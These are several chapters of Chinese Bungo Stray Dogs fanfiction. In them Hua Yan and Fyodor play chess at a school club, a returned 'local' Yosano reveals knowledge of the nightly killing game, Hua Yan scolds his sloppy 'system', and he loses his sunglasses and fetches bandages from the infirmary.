空旷的食堂中只有他们两个人,一时之间寂静得只能听见碗筷碰撞的声响。 费奥多尔单手支着下巴等对方吃得差不多了才开口,“我看您心情好像不太好,是发生了什麽吗?” 花言绝不会说出自己是在为找不到话题而挫败,他用纸巾擦拭着嘴角,含糊其辞。 “没有,我只是在想晚上的事情……” 费奥多尔看出对方并不是在因为这个忧虑,不过他仍旧理解地点头,安慰道:“原来如此,晚上的事情确实是个问题,不过我觉得您应该不用太过担心,虽然我不太清楚您的‘才能’是什麽,但从您安装炸弹的熟练程度、以及细致的观察能力来看,应该没有多少人能够威胁到您的安全。” 花言有些欲言又止,觉得对方对自己似乎有点误解,但最终还是没有解释些什麽。 费奥多尔没有得到对方的回答也不意外,他主动帮对方把餐盘放回了回收处。 “接下来您有什麽安排吗?” 花言还在思考查找话题的事,听见这个问题他下意识露出茫然的表情,“我好像没有什麽地方想去。” “那麽……你愿意继续陪我下棋吗?”费奥多尔微笑着发出了邀请,“毕竟校外对于我们来说是一片空白,这样的话,只有涩泽君的社团有点意思了,前提是——他不会拉着您继续帮忙。” 花言毫不犹豫地点头接受了对方的邀请,并做出了保证,“没关系,我会拒绝他的。” 这所校园的路两边近乎都栽种着樱花树,无论走哪条路,路两边都铺陈着从树上飘落的花瓣。 再次得到机会的花言觉得靠系统不如靠己,他侧头看向走在身侧的黑发少年,后者稍长的发梢垂落在肩头,黑色的制服外套只有最上面一颗扣子没有扣上,从领口处露出了雪白的衬衫。 似乎是察觉到了他的视线,对方紫色的眼眸朝他看来,其中浮现出的温润柔和与独特的眸色相互交织,犹如细密的网,给人一种无论提出什麽要求,对方都会同意的错觉。 “怎麽了?” 费奥多尔注意到身侧少年的异样,他轻声询问。 对方似乎在做什麽艰难的选择,半晌才张开唇,从中发出清冷又因年龄倒退而显得有几分低的嗓音,“你……觉得这里怎麽样?” 这里? 费奥多尔眼眸微闪,隐约明白了对方的意思。 他同样意有所指地回答,“如果没有晚上那所奇怪的校园、以及白天校规内略有些不合理的规定,或许我会很喜欢这个没有异能的纯粹世界。” 花言轻轻点头,“我也是。” 接下来该说什麽? 既然对方喜欢,总之先展现一下自己的慷慨吧。 花言按照普遍发展接着说道:“如果你想,当这些外来元素消失的时候,你可以一直留在这里……” 他话还没说完,只见费奥多尔眼眸中的情绪似乎发生了某种变化。 对方轻轻笑了一下,柔声拒绝,“谢谢您的好意,但是这里终归不是我的‘故乡’,所以无论这里有多符合我的心意,也只能算是旅途中的风景,我会欣赏,却不会驻足。” 花言觉得对方的话好像别有深意,似乎在暗示他什麽。 虽然不太明白,不过他很喜欢对方在理想道路上如同殉道者般燃烧着的火焰。 “我猜也是。” 对方语气中不知从何而来的愉悦又让费奥多尔对原本的猜测举棋不定。 在眼前这名白发少年说出让他留在这的那一刻,他骤然明白了对方会入侵他据点、以及在港口mafia仓库上模糊信息的缘由。 如果对方接触他的原因是他做的事会影响到对方,那麽对方想要接触他的目的或许是想看看能不能劝说自己改变想要消灭所有异能者的想法,随后在船上发现他态度不友善时放弃了劝说,转而想要通过某种强硬手段直接阻止,包括现在这个世界也可以当作是对方为了阻止自己而制造的。 这个目的比对方所说的要更为详细、也更为合理一些,但是对方此刻的回答与态度又不太像是想要阻止他。 费奥多尔思索着没有再开口,花言也想不到其他话题,不过沉默也并没有维持多久,他们已经到了“涩泽龙彦”社团所在的地方。 花言上前推开大门,大厅内“涩泽龙彦”正在翻看书架上的杂志,似乎在找某期走秀上出现的时装款式,地上被随手丢下了许多书籍。 听见大门被推开的声音,“涩泽龙彦”下意识转头看来,在发现是花言和费奥多尔时,他脸上浮现出惊喜。 “你们来的正……” “我们来的不是时候。”花言率先打断了对方施法,拿出能够杜绝任何诱惑的冷酷态度飞速说明,“我们只是来下棋的,你可以继续在书中查找你的‘缪斯’。” “涩泽龙彦”有些想要继续劝说,但花言已经拉着费奥多尔快步走到了沙发上坐下,又马不停蹄地从抽屉里翻找出棋盘,行云流水地摆好棋子,整套动作完成的时间不超过一分钟,熟练得像是在脑海中演练了无数次。 看出花言斩钉截铁的态度,“涩泽龙彦”略有些遗憾地叹了口气,转移了目标。 “好吧,那果戈里君呢?他怎麽没有跟你们一起来?” “他可能在上课吧。”花言拿出电子学生手册,“我帮你问问他好了……” 话虽如此,但果戈里好像是被他骗的次数多了,下定决心不再上当。 以至于现在他给对方发信息说自己和费奥多尔在“涩泽龙彦”的社团问对方要不要来,对方都已经已读不回了。 第56章 费奥多尔注意到对面坐着的少年迟迟没有动作,他下意识望去,发现对方正看着手中的电子学生手册陷入了某种沉默,像是困惑与遗憾般微微抿起了唇角。 “是发生了什麽吗?” 费奥多尔从容而优雅的嗓音中裹挟着恰到好处的好奇与关切,唤回了花言的思绪,他后知后觉地注意到对方正等着自己开局,手中拿起白子在棋盘上走出了第一步。 “果戈里好像是生我气了。”花言迟疑地说出自己的猜测,“我给他发信息,他都已读不回。” “生您的气……?” 费奥多尔放下棋子的动作微顿。 “嗯……”花言言简意赅地仅说明了结果,“我骗他来这里替涩泽当了两次模特。” 花言承认,他第一次发信息特意说明费奥多尔也在,是有想要借助后者吸引对方的想法,毕竟果戈里如果想杀费奥多尔肯定不会放过任何机会,对方一定会来。 他第二次发信息给果戈里,特意说明费奥多尔不在,是有想要给对方造成一种他也想杀费奥多尔错觉、趁后者不在共议阴谋的想法,毕竟在这里大家都没有异能,人多成功率会大点,因此对方十有八九会来。 只是没想到果戈里居然这麽没耐心,才两次就不再信任他了。 花言表情骤然沉重,决定下次有机会见到对方先诚心诚意道个歉,想办法挽回一下自己的信誉,不然如果有再需要的时候就没办法再骗了。 费奥多尔若有所思地摩挲着手中坚硬冰冷的棋子,他知道果戈里想杀自己,也清楚果戈里会找花言的缘由,因此花言口中的“骗”是使用了什麽样的话术就一目了然。 不过他觉得果戈里应该不会仅仅只因为这点事,就对花言所发的信息已读不回。 他脑海中回想起昨晚自己在寄宿区所看见的一幕——果戈里与花言共同搀扶着不省人事的西格玛。 费奥多尔似好心为对方分析道:“虽然这可能有点冒犯,但是……除此之外,您与他之间是不是还发生了其他事情?” 花言闻言微愣,也想起了什麽。 “难道是昨天晚上的意外吗……?” 但是那明明都是对方和西格玛先偷袭他的吧!这有什麽立场生他的气啊?! “昨天晚上?”费奥多尔手中不徐不疾地吃掉一枚白棋。 见自己的棋被吃了,花言也不在意,他点了点头,有些忿忿不平地跟对方说明了昨晚的事情,最后不忘询问对方看法。 “这明明就是他的问题,对吧?” 弄清楚造成那种场面缘由的费奥多尔罕见地有些不知道该说什麽,只觉得果戈里和西格玛都很倒霉。 特别是西格玛,下手失败了不说,还在大庭广众之下被发现,甚至后面还在果戈里下手时被误伤。 这种巧合到像是被诅咒了一样的情况让费奥多尔想起了自己,无论是在后厨被划伤的手,还是最后被牵连撞在一起陷入昏迷,处处都巧合到诡异。 费奥多尔不由得看了眼对面少年,后者落座的位置刚好沐浴在阳光下,正午的暖阳透过玻璃撒进屋内,将那头雪白的发丝镀上了一层圣洁的金边。与这副美景不相符的是对方白皙脸庞上戴着的那副墨镜,不仅遮住了对方小半边脸,同样也挡住了蕴藏众多秘密的双眼。 “您的眼睛……”费奥多尔略有些艰难地说出了那个他原本不以为然的传闻,“真的有诅咒吗?” 花言:? 花言手中的棋都忘记想下哪了,他震惊地看着对方,宛如对方说出了多麽不可思议的话一样。 不用花言回答,费奥多尔已经从对方反应里得到了答案,他轻轻闭了闭眼,重新睁开时已经收敛起了其中复杂的情绪。 “抱歉,是我不太清醒。”费奥多尔将话题重新引回正轨,委婉地告知对方真相,“我认为他或许只是因为昨天晚上的事情对您产生了一些误解,所以想要保持距离,才没有回您消息。” 花言明白了。 原来果戈里是认为靠近他会变得不幸,所以想要跟自己划清界限了。 他们之间的友谊竟如此不堪一击! 花言更悲痛了。 唯一能够安慰到他的,也只有他没忘光当初学习的知识,在这一局上跟费奥多尔都无法将死对方的“王”,陷入“死局”,而最终和局。 费奥多尔一边重新摆放回棋子,一边思索着对方下棋的风格。 在这之前他其实跟花言也下过几局,只不过当时似乎由于果戈里的干扰,对方下的有点随意,注意力没能在棋盘中,以至于每次都草草以失败收场,他也完全没办法从中看出对方的风格。 现在没有了任何外界因素,对方下棋的风格一览无余,甚至也与之前有所不同,像是已经做出了某种决定,锋锐而又决绝,只要能够达成目标,一切棋子都可以被放弃,也丝毫不会陷入他故意卖出的破绽陷阱,清澈又澄明。 但同样也是因为太过清澈澄明了,如果想要赢,浑浊与诡计也是必不可少的。 做工精美的石质象棋落在棋盘上,发出清脆的声响。 在花言低头摆放棋子的功夫,只听对方忽然问出了一个看似莫名其妙的问题。 “您对人类怎麽看?” 花言略微停顿了一秒,“我没什麽看法。” 这个问题有点太哲学了,不适合他。 “好吧,那麽我换个方式。”费奥多尔低低笑了一声,“您喜欢人类吗?” 这个问题有点太怪了。 花言一边与对方开始新的一轮棋局,一边随口回答,“我也不太清楚。” 他确实不知道这个问题的答案,也从来没有思考过。 如果他喜欢人类,那麽他的社交能力就不会如此糟糕。 如果他不喜欢人类,那他就不会有朋友。 所以他应该是薛定谔的喜欢,两边都可以。 花言得出了答案。 “我以为您会喜欢人类,毕竟您无论是普通人,还是异能者,似乎都一视同仁。” 费奥多尔视线落在黑白棋盘中,没有看对方,“您会为了帮助普通人当所谓的‘茶泡饭之神’与‘算命先生’,您也与平行世界中的异能者们关系匪浅。” “这也是从光盘里看见的吗?” 花言同样没有看对方,怎麽听费奥多尔的话像是一直在监视自己似的……他记得他已经把“细雪”焊在身上了,连挑选的地方都是监控死角。 “唔……算是吧。”费奥多尔不置可否地笑了笑,“比如说一闪而过的——擂钵街神龛前竖起的‘茶泡饭之墙’?又比如说太宰治口中无所不知的‘算命先生’?” 花言觉得黑白熊如果想看他们自相残杀应该不会在光盘里加这些无关紧要的东西,因此这些应该是费奥多尔自己得到的线索,至于怎麽知道的,对方也已经告诉他了。 “茶泡饭之神”是因为他那晚去擂钵街探查情况时,对方刚好在场。 “算命先生”是因为太宰治在监狱里跟他说的话题都是这个。 所以难怪他没有在横滨的据点里找到对方,原来对方新建了个据点在擂钵街吗? 花言思绪偏移了一瞬。 “我可能只是喜欢有所交集的人吧。”花言将得出的答案告诉了对方。 对方在听见这个答案后,紫罗兰色的眼眸中流露出些许惊讶,似乎是认为这个答案太过“普通”,也可能是有什麽别的原因。 总之花言没从对方身上感受到什麽失望的意向,反而心情好像还变好了,像是发现了什麽不为人知的秘密。 “原来如此。”费奥多尔似理解般点头,眼眸中盛满了愉悦。 他知道了。 没想到对方会是这样的性格。 他知道该如何应对对方了。 气氛短暂地陷入寂静,只余棋子与棋盘的碰撞声不断回响。 这份午后静谧时光直到社团的大门忽然被人推开发出沉重的“嘎吱”声响,才迎来结束。 一道沉稳而又透着无奈的女声随后响起。 “你们果然在这里。” 花言回头望去,发现门口有一名身穿黑色制服的少女正逆光站在那里,对方黑色的中短发披在肩头,佩戴在头上的金属蝴蝶发卡在阳光下折射出耀眼的微光。 对方环顾了一圈大厅,有些奇怪地询问,“涩泽那家夥呢?又宅在他的工作室了吗?” 花言没有回答,他顺着对方视线望向身后,才发现“涩泽龙彦”不知何时已经不在大厅里了,书架前只散落着一堆被翻过丢在地上的杂志,看起来对方像是已经找到了想要的东西,见他们已经开始下棋所以没有出声打扰自顾自的进工作室忙碌了。 现在听见声响,“涩泽龙彦”打开工作室的门探出头查看,以为花言给他喊到助手了,但在看清来人后,他表情变得无趣,“怎麽是你?中岛敦没来吗?” “他或许一会儿会来吧。” 佩戴着金属蝴蝶发卡的少女对于“涩泽龙彦”这副反应早已习以为常,她摆了摆手,同样嫌弃对方,“如果不是花言他们在这,我也懒得来打搅你。” “他们受伤了?”“涩泽龙彦”眼眸中划过一丝疑惑。 少女的语气漫不经心,“谁知道呢,他们请假的借口是身体不适,可能受伤了吧。” 花言疑惑的视线在“涩泽龙彦”与来者之间打量,推开门的人是与谢野晶子没错,但为什麽后者会跟“涩泽龙彦”展现出这种熟稔的反应?像是早已认识。 他记得与谢野晶子应该不是这个世界的人吧? 是发生了什麽意外吗? 第57章 “与谢野晶子”没有在意花言来回打量的疑惑视线,她走近注意到两人间的棋盘。 “嗯?你们在下棋啊,看起来没有生病,脑子依旧也很好用嘛。” “你是……” 花言迟疑地看着对方,有些不确定自己的猜测。 “与谢野晶子”深感无奈地拿起臂弯里挂着白色的外套抖开穿在身上。 “现在认出来了吗?” 认出来了…… 原来真的是“本地人”,保健委员版“与谢野晶子”。 花言:…… “抱歉……” “好了好了,这种话我可不想听。”“与谢野晶子”单手撑着腰,有些费解,“你究竟是依靠什麽认人的?涩泽是围巾,我是外套吗?” 好犀利的吐槽,一下子给花言造成了沉默效果。 工作室门口的“涩泽龙彦”见不会出什麽事,又重新钻回了工作室中合上了门。 “与谢野晶子”的视线从花言身上移开,落到了对面费奥多尔身上,后者察觉到视线,礼貌性地打了招呼。 “您好,初次见面,与谢野小姐。” 费奥多尔已经从这三人之间的气氛中意识到对方并不是他所知道的——武装侦探社的与谢野晶子,而是这个世界身为学生的与谢野晶子,只是他不太清楚对方为什麽会出现在这里。 难道是因为他们请假用了身体不适的借口? 可是这个借口其他人也用过。 那麽……是昨晚在他们陷入昏迷后出现了什麽意外吗? “你好。”“与谢野晶子”对费奥多尔的态度不算坏,她指了指花言,“我可能要暂时把你的棋友借走一下了。” 费奥多尔没有立即回答,他看向花言,后者似乎也知道对方有什麽话要说,对他露出了歉意的表情。 “请随意。”费奥多尔明白了花言的想法,没有强留。 花言起身跟“与谢野晶子”一同进了隔壁房间,在起身路过门口时,他余光注意到站在柱子后面的武装侦探社众人,以及更远处像是在看热闹的果戈里,和被果戈里强行拉过来的西格玛。 花言:…… 怪了,他怎麽有一种自己明明什麽都没干,就又要背黑锅的错觉。 “与谢野晶子”似乎知道有人跟着自己一路来到这里,她随手将门合拢,连带着窗户和窗帘都被牢牢拉起。 “昨晚撞的伤会在身体上出现吗?”“与谢野晶子”看向站在门口的白发少年,后者额头被雪白的发丝覆盖,看不真切。 花言瞳孔地震。 没等他去摇晃系统,只见“与谢野晶子”像是拿他没办法一样,深深叹了口气。 “是啊,我知道你们晚上的事,也知道白天的事,倒不如说我们都知道。” 什麽是都知道……? 什麽是“我们”……? 花言瞳孔地震得更厉害了。 难道是他想的那样吗? 在这个世界被顶替了身份的角色卡会在某个不知名的地方看着他们的一举一动,甚至连晚上的校园所发生的事也都知道?! 这是不是有点太社死了?! 这是bug吧!这绝对是bug!! [马路牙子,你构建这个副本真的只是复制了数据,而不是把他们世界都搬过来了吗?] 花言崩溃地抓住不靠谱实习系统质问,怎麽对方总是能在他觉得对方好像也没有那麽不靠谱的时候给他狠狠一击,让他认清现实啊?! [马路牙子!说话!] 【呃……我记得宿主你当初也是这麽做的……】 系统也逐渐反应过来自己好像干了什麽不得了的事情,它迟疑地询问。 【什麽是‘把他们世界都搬过来’?】 花言后知后觉地想起系统好像还不知道“太宰治”跟他说的那些发现,以及他异能在角色卡与副本方面的特殊之处。 [马路牙子,我问你个问题。] 花言逐渐平静下来。 [你是不是在给我构造异能增添限制的时候,为了图方便直接把我游戏数据拷贝进来了?] 系统大为震撼。 【我……你……宿主你……】 好了,不用系统回答,他已经知道答案了。 花言深吸一口气。 [你完全没有考虑过把我降维后,对于最初我而言的游戏,会不会变成某种与降维后的我同等的存在,是吗?] 系统内核数据直接地震。 它居然忽略了这一茬! 花言迟迟没有听见系统的声音,知道被自己说中,对方又陷入某种自闭了。 难怪对方会说——这是以他异能中学院副本为基础、在此之上构建的。 原来不仅仅是为了让两种恋爱剧情双管齐下,同样也是为了省事直接从他异能中借地盘是吗? 关键是对方借还没借好。没有映射学生身份的人,对方应该是自力更生给对方捏造转学生身份了,有映射学生身份的人,现在像是直接顶号了。 说不准现在其他学院角色的灵魂就在他们周围飘荡,简直恐怖至极! 对方怎麽能不靠谱成这个样子?! 【可……可是宿主,你之前也是这麽做的呀……】 系统不甘心地发出了窝囊的小声抗议。 所以他这不是被“太宰治”看出问题了吗? 更何况他们所做的还有本质上的不同。 [我是以横滨为主场,虽然借助白雾同化了横滨,但是我没有强行去改变横滨的那些人,也没有彻底让“龙头战争”全部降临,只筛选了一部分。] 花言耐心地说明。 [而你是把横滨的那些人拉到这个世界,直接让他们反向兼容了。] 顿了顿,他又补充道。 [哦,还不止,你还往里加了点规则怪谈和其他片场,甚至还没兼容好,我们看校外居然是一片空白。] 有点太粗制滥造了。 花言觉得如果系统会做饭的话,那厨艺绝对不怎麽样,肯定是会把自己喜欢吃的东西都加一起的那一类。 再次被打击的系统彻底陷入寂静。 花言将注意力重新放在了眼前“与谢野晶子”身上。 “你为什麽会突然出现在这里……?” 他眉头微皱,依照对方的说法,现在对方重新出现在这里,难道意味着…… “与谢野晶子”知道对方已经有所猜测,她干脆利落地点头,“是啊,她在昨晚梦中的自相残杀游戏里出局了。” 果然是这样。 “是谁?” 花言下意识询问。 “他们说直接告诉你答案会显得很没意思,也会破坏游戏的神秘感。”“与谢野晶子”指尖抵着下巴,笑了一声,“不过我觉得他们的保密没有必要,因为以你的能力,你很快就能明白答案。当然,你希望我直接告诉你的话,我也会告诉你的。” “与谢野晶子”说着表情又有些遗憾,“只是就算白天你知道了,晚上也会忘记,我可没办法在那场游戏里帮你,毕竟‘我’已经出局了。” “这样啊……” 花言若有所思地应了一声,在脑海里找出自闭的系统。 [在这里死去的人会真的迎接死亡吗?] 提起这个系统可就来劲了。 【要我剧透一下吗?宿主?】 花言:…… [没事了,一边玩去吧。] 花言选择性忽略了系统的抗议,重新看向“与谢野晶子”。 后者走到窗边,透过间隙朝外看了一眼,刚好看见一片因主人急忙慌躲藏在柱子后没能藏好的黑色衣摆,提醒道。 “虽然我模仿着‘我’极力伪装了,不过他们还是意识到了不对劲,你自己小心点,如果有什麽问题,我们会尽力帮你。” “谢谢。” 花言微微点头。 “谢谢?”“与谢野晶子”回头揶揄道:“不用这麽客气,有时候太客气可是会伤到我们的。” 她没有再看花言的反应,转身推开了窗户,朝门外柱子后躲着的那些人发出询问。 “你们躲在那做什麽呢?” “诶……” 见自己似乎被发现了,柱子后面躲着的武装侦探社众人逐一走了出来,中岛敦挠了挠头,有些不自然地解释。 “对不起,与谢野小姐……我们只是有点担心……” 说完中岛敦又意识到自己似乎说了什麽不该说的,急忙摆手,“呃,我不是那个意思,我只是有点奇怪,你们的关系怎麽这麽好了,啊,不对,我的意思是……” 中岛敦支支吾吾想要找补,结果越漏越多,国木田独步看不过去将对方揽回身后。 最终还是太宰治将话题掰了回去。 他唇边噙着笑意,鸢色眼眸中看不出任何情绪,视线透过窗户看向屋内的白发少年,后者像是在思考什麽,没有看向他们。 “他们身体情况怎麽样?我们也很担心他们呢,特别是花言,已经两天身体不适了,病得很严重吗?” “身体没什麽问题,可能是心病。” 窗口的“与谢野晶子”伸了个懒腰,对于这个结果像是也有些无趣,“我们回去吧。” “嗯。” 太宰治脸上的表情没有丝毫变化,却在“与谢野晶子”合上窗户、窗帘重新落下的那一刻,回头看向身后的江户川乱步。 后者不紧不慢地收起架在鼻梁上的眼镜,表情罕见地仍旧疑惑。 迎着其他人的视线,他缓缓摇头,“她确实不是我们认识的那个与谢野晶子,而是这个世界、这所学院的学生,她取回了本该属于她的身份。” 哪怕其他人都已经有所猜测,在听见这个结论时也不免有所失落。 “这里信息干扰很严重,有太多莫名其妙的东西混杂在一起了。”江户川乱步皱了皱鼻子,“我看不出太多的东西,你们在这方面可能会比我更清楚晶子出问题的原因。” 太宰治若有所思地点头,看向大门的方向,门已经被人拉开了一条缝隙,那名戴着金属蝴蝶发饰的少女很快会从那里出现。 “那……与谢野小姐她现在还活着吗?” 中岛敦争分夺秒地询问。 江户川乱步回忆着自己在屋中那名白发少年身上看见的痕迹,有些不确定,“按理来说,应该她应该不会有任何生命危险,但是……那个人身上的气息很奇怪。” 给人一种矛盾至极的感觉。 明明看上去是没有沾染过鲜血的澄澈无害,但这份澄澈无害又会在某些时候显得有些过了头,更像是身经百战踩在数万生命之上的木然与淡漠,犹如某种极端理想者见证了道路尽头的终局。 江户川乱步看向太宰治,后者会意地点头。 “啊……交给我吧,我会弄清楚的。” “与谢野晶子”站在门口朝柱子边的几人招了招手,“回去了哦,午休马上要结束了。” 几人闻声走了过去,没有再继续交谈些什麽,临走前江户川乱步回头看向大厅,那名白发少年正站在沙发旁望着他们这边,表情看起来平静无比。 花言有些诧异这些人居然真的就这麽走了,有点太轻易了,他还以为会有人冲上来质问他什麽呢。 是因为在之前的交谈里,太宰治已经清楚不可能从自己这里得到更多的信息,所以干脆放弃,打算自力更生。还是他们已经看出来了真相,打算厚积薄发给自己来个大的? “好像发生了什麽事情呢。” 费奥多尔顺着花言的视线往外看去。 “嗯……” 花言心不在焉地应了一声,坐回沙发上继续下他们还没下完的棋。 刚刚他发现果戈里和西格玛见武装侦探社的人离开,也跟着离开了,完全没有想要进来的念头,这种退避三舍的反应是什麽意思? 难道他真的有那麽恐怖吗? 还是说对方上次来这里被抓着当模特助手——在他离开后,发生了什麽他所不知道的事情,以至于留下某种心理阴影了? 花言一心二用,手中不断跟费奥多尔来回落子,棋盘上的棋子逐渐被清空,他能够操纵的棋子越来越少,而黑棋也只留下了最终的“王”。 又是一次和局,与之前陷入“死局”的和局不同,这次是被迫“逼和”。 他本来以为下完第一局后,费奥多尔会摸清楚自己的风格,抓住他的弱点不断攻破呢,是放水了吗? 花言奇怪地看向费奥多尔,后者从前者迟迟没有动作的反应里,读取到了对方的疑惑。 费奥多尔垂下眼帘收拾着棋盘,意有所指地开口,“您后面似乎在走神。” “不好意思,是我的问题。” 花言听出了对方话语中的含义,这句话看似是在含蓄地埋怨他的不认真,所以也故意不认真了起来。但如果考虑到对方性格,就显得像是故意用“逼和”来回报他的走神,蕴藏在温和外表下的恶劣在此刻浮现。 费奥多尔微微歪头,有些疑惑,“是因为她跟您说的那些话?” “不算是,还有一些问题。”花言摇了摇头,“等晚上或许就知道了。” “原来如此……” 费奥多尔善解人意地没有多问。 他们的注意力重新落在了棋盘上。 下棋这件事平时提起可能会觉得枯燥无味,但只要遇见旗鼓相当的对手,就会令人兴致盎然。 直到窗外月朗星稀,两人在“涩泽龙彦”这吃完晚饭才重新回了寝室。 不同于昨天被强制入睡打了个猝不及防,今天花言换上了舒适的睡衣,稳妥地躺在床上盖好被子摘下墨镜,已经完全做好了应对强制入睡的准备。 …… 模糊的意识逐渐清醒,人体最为重要的头部传来一阵阵钝痛。 花言下意识伸出手触碰上额头,骤然传导上神经的刺痛让他精神瞬间清醒,在抽气的同时,他抬起的手臂似乎触碰到了另一个体温,鼻腔间也闻到了一缕淡淡的清冷香气,让人联想到雪松针叶上披挂的寒霜。 ——他身边似乎还躺着谁。 这个信息迅速在思绪中分离。 花言原本即将睁开的眼眸又闭合了回去,他在摸向额头时可没摸到墨镜。 昏迷前的记忆飞速在脑海中掠过,他因头发被门夹到摔跤了,摔跤前还拽了费奥多尔当垫背,所以他们是撞在一起陷入昏迷了吗? 他躺的地方应该是在床上,因为手底摸到的布料十分柔软。 身旁的人应该是费奥多尔,毕竟他两是撞一块晕的。 只是……是谁把他们搬过来的?这里又是谁的房间? 花言心中不断冒出一个又一个的疑问。 遇见意外就是这点不好,意识一断片就跟在数学课上低头捡了支笔似的,再一抬头世界都变了。 “唔……” 身边的人似乎醒了,发出了一声模糊不清的气音,其中夹杂着些许抽气声,像是也摸到受伤部位了。 花言眼睛没有睁开,他试图依照记忆中房间的布局去床头柜上摸到墨镜。 指腹在床头柜上冰冷光滑的柜面上一寸寸摸索,摸了半天什麽都没摸到不说,还不小心把床头柜上的灯打翻了,灯罩好像碎了,也像是灯泡碎了,总之传入花言耳畔的声音有破碎声。 台灯落地的声响似乎引起了身侧人的注意,也可能是对方一直在看着自己,直到此刻才开口。 熟悉的嗓音中带着些许刚苏醒的沙哑,其中的语气仍旧从容优雅。 “您在找什麽?” 既然对方像是已经彻底醒了,那他就不用担心会吵醒对方了。 花言支起身体从床上坐起身,回答了对方的问题,“墨镜。” “稍等一下,我帮您找找看……” 身侧传来布料摩擦的细微声响,对方似乎是起身了,没有在床头柜上发现墨镜,于是又拉开了抽屉,抽屉里似乎也没有,合拢的声音很快响起。床上的重力忽然一轻,脚步声取代了一切声响,对方把查找范围扩大到了整个房间。 花言听着耳边传来的细微声响有些按捺不住地想要一探究竟,但想到自己七彩玛丽苏的瞳色还是努力按捺住了。 坚持! 既然他的“才能”与瞳色无关还要戴着墨镜,那一定有它的道理。更何况这种瞳色实在是太社死了,让他大庭广众之下露出这双眼睛看人,他宁可假装自己是瞎子。 半晌,费奥多尔似乎看见了什麽惊讶的事情,发出一声疑惑的气音。 “咦?” 这让花言有种不好的预感。 果不其然,只听对方接着说道。 “花言,您的墨镜好像摔坏了。” 他就知道。 其实仔细想想,人都撞晕倒地了,他后脑勺和额前两面包夹都在痛,墨镜怎麽可能幸免遇难? 就算他们碰撞的角度很好,没有伤到墨镜,那墨镜肯定也会在他倒地的时候掉在地上,质量再好的墨镜也遭不住这一摔吧? 花言不死心地试图抢救。 “谢谢你,能帮我看下还可不可以用吗?” 费奥多尔应了一声,悉悉索索的声音响起,像是对方弯腰从什麽地方捞起了什麽东西,随后再次开口。 “抱歉,镜片好像都裂了。” 意思是完全不能用了。 花言平静地接受了自己要当瞎子的事实。 “谢谢,麻烦你了,这里是谁的房间?” 费奥多尔没有隐瞒,“好像是您的房间。” “好的,我打算接下来一直呆在房间里,直到被杀,或者是这场自相残杀游戏结束。” 花言安详地又倒回了床上。 他这算是什麽“超高校级的幸运”啊,一次性的幸运吗?搞完一次事就消失的那种? 费奥多尔看着躺回床上的少年,眼眸里闪过一丝疑惑。 对方从醒来开始就没有睁开过眼睛,现在更是因为墨镜的损毁直接闭门不出,难道对方的眼睛有什麽问题? “是因为您的眼睛吗?” 费奥多尔还是将这个问题问出口了。 “嗯,我的眼睛其实有诅咒。” 为了杜绝对方的好奇,花言一本正经地胡说八道,“虽然在这里没有异能那种东西,但是我不确定出去之后诅咒会不会突然生效,所以为了大家的安危,我决定牺牲自己。” 费奥多尔哑然,他觉得以对方的性格来看,不太像是那种会为了不相干的陌生人而牺牲自己的类型,更何况对方之前给其他人门锁上安炸弹的事可都还历历在目,现在说出这种话实在是太违和了。 “您的诅咒是对视触发,还是被人看见眼睛会触发?”费奥多尔看似为对方担忧般,好心提出了建议,“如果是这些条件,您完全可以找一些能够让您看见外界的东西遮住眼睛,这样您既不会被限制行动陷入被动,也不用担心其他人会被诅咒。” 躺在床上的少年微微动了一下,指尖摸了摸自己的斗篷。 “裁一块……?” 费奥多尔明白对方的意思,他给出了更好的选择,“比起布料我更推荐纱布和绷带,这两样透光性比较好,同时也能够遮掩您眼睛的秘密,其他人看见只会认为是您眼睛受伤了,不会对此起疑心。” 太周全了。 花言大为震撼。 周全到他有种对方要阴他一下的错觉。 不过不可否认对方的提议确实不错,花言同意了。 “能麻烦你帮我取一下吗?” “当然,我很乐意帮您,只是……”费奥多尔语气迟疑了起来,“这两样东西都在医务室,在现在这种情况,我认为我们还是一起行动比较好,您觉得呢?” 这个提议也没什麽问题。 按照通常发展,在这种环境里落单确实更容易成为他人目标。 不过花言怀疑对方会说出这个提议,八成是因为看见果戈里对自己下手几次都没成功,反而西格玛还不省人事了,所以对方为了防止果戈里会更改目标直接对他下手,才提出了要一起行动。 毕竟他也不是真的瞎了,只是不想睁眼,在某些情况下多少还是能够起到作用。 “好。” 花言顺应对方的意思起身,耳边的脚步声逐渐靠近,对方似乎是想过来扶他,抬起来的手自然地被一只微凉的手握住。 下一秒对方的嗓音随之响起。 “我扶您吧。” “谢谢。” 花言克制住自己想要借助触觉感知周围的本能,顺应对方牵引的力道抬起脚步。 虽然没有视觉是一件十分影响行动的事情,但或许是费奥多尔足够细心,也可能是他的幸运又在发力,他们一路上都没有遇见其他人,十分顺利地到达了医务室。 费奥多尔从抽屉里翻找出未使用过的纱布与绷带,回头看向那名安静坐在椅子上等待自己的白发少年。 他垂下眼眸,脑海中不合时宜地回想起对方展现出的种种行径,以及他在光盘中所看见的那些内容。 他所拿到的视频是有关对方的,那对方拿到的视频是否有关自己?换句话说,对方是否也想杀自己呢? 不可否认,对方作为敌人来看是十分棘手的那一类。 只是……就算忽略他们已经成为共犯,如果其中谁死了,其他人不仅会怀疑还活着的另一方,也会重新推论安装炸弹的罪魁祸首,以至于成为众矢之的存在的因素。他也没有百分百的把握能够将对方杀死在这里,毕竟对方不是真的看不见。 因此如果能够维持对方行动不便的状态其实是最好的选择…… 但是他也不想失去对方这麽一个已经相互达成制衡关系的“同伴”,考虑到其他人都成群结队,他如果独自一人行动绝对会是极具风险的选择。 费奥多尔静静注视着椅子上的少年,医务室白炽灯的冷光从高处洒落,在对方身上近乎看不见一点杂色,一片纯白,犹如西伯利亚冻土最上方的松软白雪,雪白的眼睫垂落,闭合的双眸无端显出几分乖顺——前提是忽略对方棘手程度的话。 或许是他思考的太久,椅子上的少年喊了一声他的名字。 “费奥多尔?” 花言眉头微皱,“是出什麽事了吗?” 怎麽安静这麽久?难不成对方在神不知鬼不觉中被果戈里杀了? “没什麽,只是在回想绷带和纱布放在哪个抽屉了。” 费奥多尔说着随手合拢又拉开另一个抽屉,营造出翻找的错觉。 “原来在这。” 合拢抽屉的声响再次响起,脚步声越来越近。 “需要我帮您吗?” 费奥多尔的语气仍旧温和。 “谢谢,我自己来吧。” 花言按照声音传来的方向伸出了手。 费奥多尔也没有坚持,他应了一声,将东西放在了对方手中,体贴地让出了空间,“那麽,我去外面等您。” 话音落下,脚步声渐行渐远,医务室的门被打开又被合拢。 花言试探着睁开眼,发现医务室里只剩下他一个人。 他找了个柜子,借助上面的玻璃的反光测试绷带和纱布哪个能在遮得严实的同时,还能让他看清外界。 